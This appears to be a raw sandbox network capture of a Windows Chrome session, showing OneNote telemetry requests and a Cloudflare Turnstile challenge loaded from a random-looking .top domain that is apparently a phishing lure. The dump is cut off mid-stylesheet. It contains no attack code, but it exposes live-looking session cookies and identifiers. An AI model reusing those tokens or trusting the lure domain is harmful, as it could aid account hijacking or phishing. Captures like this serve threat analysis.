2024-10-25T08:19:29Z Date: Fri, 25 Oct 2024 08:19:29 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50065	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:29 UTC	860	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 188 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:29 UTC	188	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 37 39 39 37 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 31 37 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 68 69 64 64 65 6e 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 49 22 3a 31 32 2c 22 56 22 3a 31 7d Data Ascii: {"T":1729844367997,"L":[{"G":595957843,"T":17,"M":"Page lifecycle: VisibilityChange_hidden fired, flushing logger","C":379,"D":50}],"S":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","I":12,"V":1}
2024-10-25 08:19:29 UTC	4701	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: a3ee5e51-8aab-4cdb-a952-a884fb3a98da X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5E X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordcapacity,afd_pptcapacity_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: A11DE36B089141CDA1BA4D0E9955FFAB Ref B: DFW311000110027 Ref C: 2024-10-25T08:19:29Z Date: Fri, 25 Oct 2024 08:19:29 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50068	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:29 UTC	860	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 190 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:29 UTC	190	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 38 30 31 34 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 34 34 39 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 76 69 73 69 62 6c 65 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 49 22 3a 31 33 2c 22 56 22 3a 31 7d Data Ascii: {"T":1729844368014,"L":[{"G":595957843,"T":449,"M":"Page lifecycle: VisibilityChange_visible fired, flushing logger","C":379,"D":50}],"S":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","I":13,"V":1}
2024-10-25 08:19:29 UTC	4720	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 3c1b689e-eb2f-46b9-9fe5-4f5ba461d186 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5E X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordcapacity,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 9C9F1170404A4A098CF1EAA829A5657E Ref B: DFW311000108031 Ref C: 2024-10-25T08:19:29Z Date: Fri, 25 Oct 2024 08:19:28 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	50069	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:29 UTC	860	OUT	POST /o/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 187 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:29 UTC	187	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 38 34 36 33 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 31 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 68 69 64 64 65 6e 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 37 39 32 62 65 63 39 2d 66 65 62 36 2d 34 62 39 33 2d 62 38 63 33 2d 64 32 35 62 35 36 37 62 30 66 63 34 22 2c 22 49 22 3a 31 34 2c 22 56 22 3a 31 7d Data Ascii: {"T":1729844368463,"L":[{"G":595957843,"T":1,"M":"Page lifecycle: VisibilityChange_hidden fired, flushing logger","C":379,"D":50}],"S":"d792bec9-feb6-4b93-b8c3-d25b567b0fc4","I":14,"V":1}
2024-10-25 08:19:30 UTC	4660	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: c989fc27-7b4a-4422-8bdf-56b633d7a723 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5B X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5B X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 1083C645750F463C937CC751C9360E37 Ref B: DFW311000102021 Ref C: 2024-10-25T08:19:29Z Date: Fri, 25 Oct 2024 08:19:28 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	50071	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:30 UTC	880	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:31 UTC	1362	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26489 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-25 08:19:31 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 30 63 38 33 36 64 66 31 64 34 37 35 35 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8d80c836df1d4755-DFWalt-svc: h3=":443"; ma=86400
2024-10-25 08:19:31 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-10-25 08:19:31 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
2024-10-25 08:19:31 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-10-25 08:19:31 UTC	1369	IN	Data Raw: 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f Data Ascii: nge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-o
2024-10-25 08:19:31 UTC	1369	IN	Data Raw: 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e Data Ascii: .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop-lin
2024-10-25 08:19:31 UTC	1369	IN	Data Raw: 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 7d 74 6f 7b 66 69 6c 6c 3a 23 66 Data Ascii: fset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1303}to{fill:#f
2024-10-25 08:19:31 UTC	1369	IN	Data Raw: 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 7b 68 65 69 Data Ascii: low:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact 